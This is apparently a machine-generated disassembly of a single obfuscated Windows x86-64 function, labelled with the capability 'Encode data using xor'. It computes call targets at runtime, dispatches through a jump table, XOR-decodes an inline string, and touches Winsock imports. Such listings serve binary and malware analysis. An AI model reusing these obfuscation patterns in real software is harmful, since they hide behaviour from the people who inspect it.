Function at 0x14010af40
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x8a0
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x810], xmm15
movaps xmmword [rbp + 0x800], xmm14
movaps xmmword [rbp + 0x7f0], xmm13
movaps xmmword [rbp + 0x7e0], xmm12
movaps xmmword [rbp + 0x7d0], xmm11
movdqa xmmword [rbp + 0x7c0], xmm10
movaps xmmword [rbp + 0x7b0], xmm9
movaps xmmword [rbp + 0x7a0], xmm8
movdqa xmmword [rbp + 0x790], xmm7
movaps xmmword [rbp + 0x780], xmm6
mov qword [rbp + 0x778], 0xfffffffffffffffe
lea rax, [0x14010c093]
movq xmm0, rax
lea rax, [0x14010ba6a]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp - 0x50], xmm1
lea rax, [0x14010c327]
movq xmm0, rax
lea rax, [0x14010c0fe]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp - 0x40], xmm1
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 1
lea rax, [0x14010bb22]
movq xmm0, rax
lea rax, [0x14010baca]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp - 0x20], xmm1
lea rax, [0x14010bb8c]
movq xmm0, rax
lea rax, [0x14010bb34]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp - 0x10], xmm1
lea rax, [0x14010bc0c]
movq xmm0, rax
lea rax, [0x14010bb9e]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp], xmm1
lea rax, [0x14010bc71]
movq xmm0, rax
lea rax, [0x14010bc67]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0x10], xmm1
lea rax, [0x14010c3f3]
movq xmm0, rax
lea rax, [0x14010c388]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0x20], xmm1
lea rax, [0x14010c5f7]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 1
mov qword [rbp + 0x40], 1
mov qword [rbp + 0x48], 1
mov qword [rbp + 0x50], 1
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 1
lea rax, [0x14010bd36]
movq xmm0, rax
lea rax, [0x14010bccb]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x68], xmm1
lea rax, [0x14010bf74]
movq xmm0, rax
lea rax, [0x14010bf07]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x78], xmm1
lea rax, [0x14010c68b]
movq xmm0, rax
lea rax, [0x14010bf98]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x88], xmm1
lea rax, [0x14010c8e1]
movq xmm0, rax
lea rax, [0x14010c8a7]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x98], xmm1
lea rax, [0x14010c9a9]
movq xmm0, rax
lea rax, [0x14010c93c]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0xa8], xmm1
lea rax, [0x14010cb75]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], 1
mov qword [rbp + 0xc8], 1
lea rax, [0x14010e55c]
movq xmm0, rax
lea rax, [0x14010e480]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0xd0], xmm1
lea rax, [0x14010e610]
movq xmm0, rax
lea rax, [0x14010e59f]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0xe0], xmm1
lea rax, [0x14010e72f]
movq xmm0, rax
lea rax, [0x14010e6ec]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0xf0], xmm1
lea rax, [0x14010e7c5]
movq xmm0, rax
lea rax, [0x14010e794]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0x100], xmm1
mov qword [rbp + 0x110], 1
mov qword [rbp + 0x118], 1
mov qword [rbp + 0x120], 1
lea rax, [0x14010d047]
movq xmm0, rax
lea rax, [0x14010cbe6]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x128], xmm1
lea rax, [0x14010d287]
movq xmm0, rax
lea rax, [0x14010d0b4]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x138], xmm1
mov qword [rbp + 0x148], 1
mov qword [rbp + 0x150], 1
lea rax, [0x14010d2f8]
movq xmm0, rax
lea rax, [0x14010cc46]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x158], xmm1
lea rax, [0x14010d556]
movq xmm0, rax
lea rax, [0x14010d365]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x168], xmm1
mov qword [rbp + 0x178], 1
mov qword [rbp + 0x180], 1
lea rax, [0x14010cca9]
movq xmm0, rax
lea rax, [0x14010cc96]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x188], xmm1
lea rax, [0x14010cd0e]
movq xmm0, rax
lea rax, [0x14010cd00]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x198], xmm1
lea rax, [0x14010cd86]
movq xmm0, rax
lea rax, [0x14010cd1d]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x1a8], xmm1
lea rax, [0x14010cfd6]
movq xmm0, rax
lea rax, [0x14010cdf3]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x1b8], xmm1
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 1
lea rax, [0x14010d634]
movq xmm0, rax
lea rax, [0x14010d5c9]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x1d8], xmm1
lea rax, [0x14010d81d]
movq xmm0, rax
lea rax, [0x14010d807]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x1e8], xmm1
lea rax, [0x14010dc56]
movq xmm0, rax
lea rax, [0x14010dbe9]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x1f8], xmm1
lea rax, [0x14010de94]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x210], 1
mov qword [rbp + 0x218], 1
mov qword [rbp + 0x220], 1
mov qword [rbp + 0x228], 1
lea rax, [0x14010d888]
movq xmm0, rax
lea rax, [0x14010d863]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0x230], xmm1
lea rax, [0x14010d949]
movq xmm0, rax
lea rax, [0x14010d8de]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0x240], xmm1
lea rax, [0x14010db66]
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], 1
mov qword [rbp + 0x260], 1
lea rax, [0x14010df0a]
movq xmm0, rax
lea rax, [0x14010df05]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x268], xmm1
lea rax, [0x14010df1d]
movq xmm0, rax
lea rax, [0x14010df16]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x278], xmm1
lea rax, [0x14010dfcd]
movq xmm0, rax
lea rax, [0x14010df73]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x288], xmm1
lea rax, [0x14010e1fc]
movq xmm0, rax
lea rax, [0x14010e03a]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x298], xmm1
lea rax, [0x14010e238]
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], 1
mov qword [rbp + 0x2b8], 1
mov qword [rbp + 0x2c0], 1
lea rax, [0x14010e2b7]
movq xmm0, rax
lea rax, [0x14010e292]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x2c8], xmm1
lea rax, [0x14010e830]
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2e0], 1
lea rax, [0x14010e9a0]
movq xmm0, rax
lea rax, [0x14010e2e8]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqu xmmword [rbp + 0x2e8], xmm1
mov qword [rbp + 0x2f8], 1
lea rax, [0x14010e3ae]
movq xmm0, rax
lea rax, [0x14010e377]
movq xmm1, rax
punpcklqdq xmm1, xmm0
movdqa xmmword [rbp + 0x300], xmm1
lea rax, [0x14010eb10]
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x770], 0x1c68
mov eax, dword [rbp + 0x770]
mov dword [rbp + 0x760], 1
mov eax, dword [rbp + 0x760]
lea rax, [0x1400b0c14]
mov qword [rbp + 0x580], rax
mov dword [rbp + 0x458], 0x31cf32ad
mov dword [rbp + 0x3b0], 0xce30cd52
mov rax, qword [rbp + 0x580]
mov ecx, dword [rbp + 0x3b0]
mov edx, dword [rbp + 0x458]
movq xmm0, rdx
pxor xmm1, xmm1
movq xmm2, rcx
pxor xmm3, xmm3
movdqu xmm4, xmm0
movdqu xmm5, xmm2
pand xmm4, xmm5
movq rcx, xmm4
or rcx, 0x31ffaf
neg rcx
add rax, rcx
add rax, 0x2844bb
mov byte [rbp + 0x580], gethostname
lea rcx, [rbp + 0x581]
movdqu xmm0, xmmword [0x1400bb9cc]
movdqu xmmword [rbp + 0x581], xmm0
movabs rdx, 0x3de619e659ad5c
mov qword [rbp + 0x591], rdx
mov byte [rbp + 0x581], 0x47
movdqa xmm11, xmmword [reloc.WS2_32.dll_ntohs]
movdqa xmm12, xmmword [reloc.WS2_32.dll_listen]
movdqa xmm13, xmmword [0x1400ba0a0]
movdqa xmm14, xmmword [reloc.WS2_32.dll_htons]
movdqa xmm4, xmmword [reloc.WS2_32.dll_getsockopt]
movdqa xmm5, xmmword [reloc.WS2_32.dll_getpeername]
movdqa xmm3, xmmword [reloc.WS2_32.dll_closesocket]
movdqa xmm6, xmmword [reloc.WS2_32.dll_accept]
xor edx, edx
movdqa xmm9, xmmword [str.7777777777777777]
movdqa xmm8, xmmword [reloc.WS2_32.dll_recv]
nop word cs:[rax + rax]
nop
movdqu xmm10, xmmword [rbp + rdx + 0x582]
movdqa xmm0, xmm12
psllq xmm0, 0x3f
psrad xmm0, 0x1f
pshufd xmm1, xmm0, 0xf5
movdqa xmm0, xmm11
psllq xmm0, 0x3f
psrad xmm0, 0x1f
pshufd xmm0, xmm0, 0xf5
packssdw xmm1, xmm0
movdqa xmm0, xmm14
psllq xmm0, 0x3f
psrad xmm0, 0x1f
pshufd xmm0, xmm0, 0xf5
movdqa xmm2, xmm13
psllq xmm2, 0x3f
psrad xmm2, 0x1f
pshufd xmm2, xmm2, 0xf5
packssdw xmm0, xmm2
packssdw xmm0, xmm1
movdqa xmm1, xmm5
psllq xmm1, 0x3f
psrad xmm1, 0x1f
pshufd xmm1, xmm1, 0xf5
movdqa xmm2, xmm4
psllq xmm2, 0x3f
psrad xmm2, 0x1f
pshufd xmm2, xmm2, 0xf5
packssdw xmm1, xmm2
movdqa xmm2, xmm6
psllq xmm2, 0x3f
psrad xmm2, 0x1f
pshufd xmm2, xmm2, 0xf5
movdqa xmm7, xmm3
psllq xmm7, 0x3f
psrad xmm7, 0x1f
pshufd xmm7, xmm7, 0xf5
packssdw xmm2, xmm7
packssdw xmm2, xmm1
packsswb xmm2, xmm0
pxor xmm2, xmm10
pxor xmm2, xmm9
movdqu xmmword [rbp + rdx + 0x582], xmm2
add rdx, 0x10
paddq xmm6, xmm8
paddq xmm3, xmm8
paddq xmm5, xmm8
paddq xmm4, xmm8
paddq xmm14, xmm8
paddq xmm13, xmm8
paddq xmm12, xmm8
paddq xmm11, xmm8
cmp rdx, 0x10
jne 0x14010b760
movabs rsi, 0x8000000000000000
xor ebx, ebx
mov rdi, rsi
nop word [rax + rax]
mov rdx, rdi
sar rdx, 0x3f
xor dl, byte [rbp + rbx + 0x592]
xor dl, 0x37
mov byte [rbp + rbx + 0x592], dl
add rbx, 1
add rdi, rsi
cmp rbx, 6
jne 0x14010b880
call rax
lea rax, [0x1400a693a]
mov qword [rbp + 0x580], rax
mov dword [rbp + 0x458], 0x7dfa6999
mov dword [rbp + 0x718], 0x82059666
mov rax, qword [rbp + 0x580]
mov ecx, dword [rbp + 0x718]
mov edx, dword [rbp + 0x458]
movq xmm0, rdx
pxor xmm1, xmm1
movq xmm2, rcx
pxor xmm3, xmm3
movdqu xmm4, xmm0
movdqu xmm5, xmm2
pand xmm4, xmm5
movq rcx, xmm4
or rcx, 0x303443
neg rcx
add rax, rcx
add rax, 0x284269
xor ecx, ecx
call rax
mov rsi, rax
add rax, 1
cmp rax, 1
ja 0x14010b980
mov byte [rbp + 0x3d0], 0
lea rax, [rbp + 0x68c]
mov dword [rbp + 0x770], 0x1f5b
mov ecx, 0x1f5a
xor ecx, dword [rbp + 0x770]
mov dword [rbp + 0x68c], ecx
mov dword [rbp + 0x770], 0x1b5a
mov ecx, dword [rbp + 0x770]
mov dword [rbp + 0x760], 1
mov edx, dword [rbp + 0x760]
add ecx, edx
add ecx, 0xffffe4a5
mov dword [rbp + 0x690], ecx
mov eax, dword [rax]
jmp qword [rbp + rax*8 - 0x50]
add rsi, 0x3e0
mov qword [rbp + 0x580], 0
movaps xmm0, xmmword [0x1400ba070]
movups xmmword [rbp + 0x590], xmm0
mov byte [rbp + 0x580], 0
mov rcx, rsi
call fcn.1400a4820
mov rdi, rax
cmp rax, 0xf
jbe 0x14010b9cc
lea rcx, [rbp + 0x580]
mov rdx, rdi
mov r9, rsi
call fcn.1400018a0
jmp 0x14010b9ed
mov qword [rbp + 0x590], rdi
lea rcx, [rbp + 0x580]
mov rdx, rsi
mov r8, rdi
call fcn.14008ce50
mov byte [rbp + rdi + 0x580], 0
movdqu xmm0, xmmword [rbp + 0x580]
movdqu xmm1, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x3c0], xmm1
movdqa xmmword [rbp + 0x3b0], xmm0
mov byte [rbp + 0x3d0], 1
lea rax, [rbp + 0x690]
mov dword [rbp + 0x770], 0x1f5b
mov ecx, 0x1f5a
xor ecx, dword [rbp + 0x770]
mov dword [rbp + 0x68c], ecx
mov dword [rbp + 0x770], 0x1b5a
mov ecx, dword [rbp + 0x770]
mov dword [rbp + 0x760], 1
mov edx, dword [rbp + 0x760]
add ecx, edx
add ecx, 0xffffe4a5
mov dword [rbp + 0x690], ecx
mov eax, dword [rax]
jmp qword [rbp + rax*8 - 0x50]